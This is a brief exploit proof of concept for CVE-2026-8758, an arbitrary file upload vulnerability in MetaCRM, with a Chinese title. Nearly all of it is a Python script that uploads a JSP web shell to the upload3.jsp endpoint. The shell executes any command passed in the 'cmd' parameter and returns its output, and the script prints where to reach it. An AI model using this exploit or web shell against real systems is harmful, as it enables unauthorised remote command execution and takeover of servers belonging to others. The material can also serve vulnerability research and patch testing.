CVE-2026-8758 MetaCRM任意文件上传漏洞

import requests # Target URL url = "http://target-ip/common/jsp/upload3.jsp" # Malicious JSP WebShell content jsp_shell = """<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); InputStream is = p.getInputStream(); int i; while((i=is.read())!=-1) { out.print((char)i); } } %>""" # Prepare the file upload payload files = { 'File': ('evil.jsp', jsp_shell, 'application/octet-stream') } try: response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print("[+] Exploit success! File uploaded.") print("[+] Access your shell at: http://target-ip/path/to/upload/evil.jsp?cmd=whoami") else: print("[-] Exploit failed. Status code:", response.status_code) except Exception as e: print("[-] Error:", str(e))